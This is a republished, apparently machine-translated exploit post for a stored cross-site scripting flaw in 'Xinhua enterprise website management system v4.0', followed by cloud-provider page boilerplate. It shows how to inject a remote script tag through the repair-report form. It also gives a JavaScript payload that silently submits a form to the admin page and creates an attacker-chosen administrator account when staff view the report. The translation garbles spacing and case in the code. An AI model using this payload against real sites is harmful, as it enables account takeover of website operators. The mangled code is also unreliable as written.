Add administrator and repair in Xinhua enterprise website management system v4.0 XSS0day

Source: Internet
Author: User

From: B0mbErM @ n
Description: The online repair report function is not submitted for filtering.
Analysis: xiu. asp is not submitted for filtering, resulting in execution of any XSS statement.
Patch: Filter
Exp:
.../Xiu. asp directly enters the repair report, and then writes it in the contact address
<Script src = http: // website/XSS/xss. js> </SCRIPT>
Submit the job and wait for the management to read and trigger XSS to execute JS Code.
Js Code (you must replace the target site, user name, and password ):
Document. writeln ("<form action =" http: // target site/manage/Admin_Add.asp? Action = 1 "method =" post "name =" main "> ");
Document. writeln ("");
Document. writeln ("<input type =" text "name =" name "value =" username "> ");
Document. writeln ("");
Document. writeln ("<input type =" text "name =" pass "value =" password "> ");
Document. writeln ("");
Document. writeln ("</form> ");
Document. writeln ("");
Document. writeln ("<script> ");
Document. writeln ("");
Document. writeln ("document. main. submit ();");
Document. writeln ("");
Document. writeln ("</script> ");

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.